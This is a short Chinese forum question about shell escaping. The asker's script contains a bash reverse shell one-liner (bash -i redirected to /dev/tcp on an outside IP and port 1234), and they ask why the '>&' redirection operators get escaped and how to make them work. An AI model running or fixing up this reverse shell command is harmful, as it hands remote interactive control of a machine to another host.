linux 转义符

linux下写了一个脚本,其中有一个命令

bash -i >& /dev/tcp/8.8.8./1234 0>&1

结果返回

bash -i \>\& /dev/tcp/8.8.8.8/1234 0\>\&1

加上转义符

bash -i \>\& /dev/tcp/8.8.8.8/1234 0\>\&1

返回

bash -i \\\>\\\& /dev/tcp/8.8.8.8/1234 0\\\>\\\&1

加上引号

bash -i ">&" /dev/tcp/8.8.8.8/1234 0 ">&" 1

结果返回

bash -i \"\>\&\" /dev/tcp/8.8.8.8/1234 0 \"\>\&\" 1

晕了,到底怎么样才能让系统知道">&"是操作符

阅读 4.1k
撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进